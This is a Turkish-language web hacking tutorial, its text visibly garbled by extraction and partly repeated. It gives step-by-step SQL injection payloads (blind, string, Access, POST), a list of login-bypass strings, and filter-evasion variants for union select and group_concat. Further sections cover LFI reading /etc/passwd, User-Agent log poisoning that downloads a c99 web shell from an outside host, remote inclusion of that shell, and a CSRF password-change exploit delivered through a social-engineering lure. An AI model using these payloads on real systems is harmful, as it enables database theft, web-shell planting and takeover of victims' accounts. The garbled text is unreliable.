Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
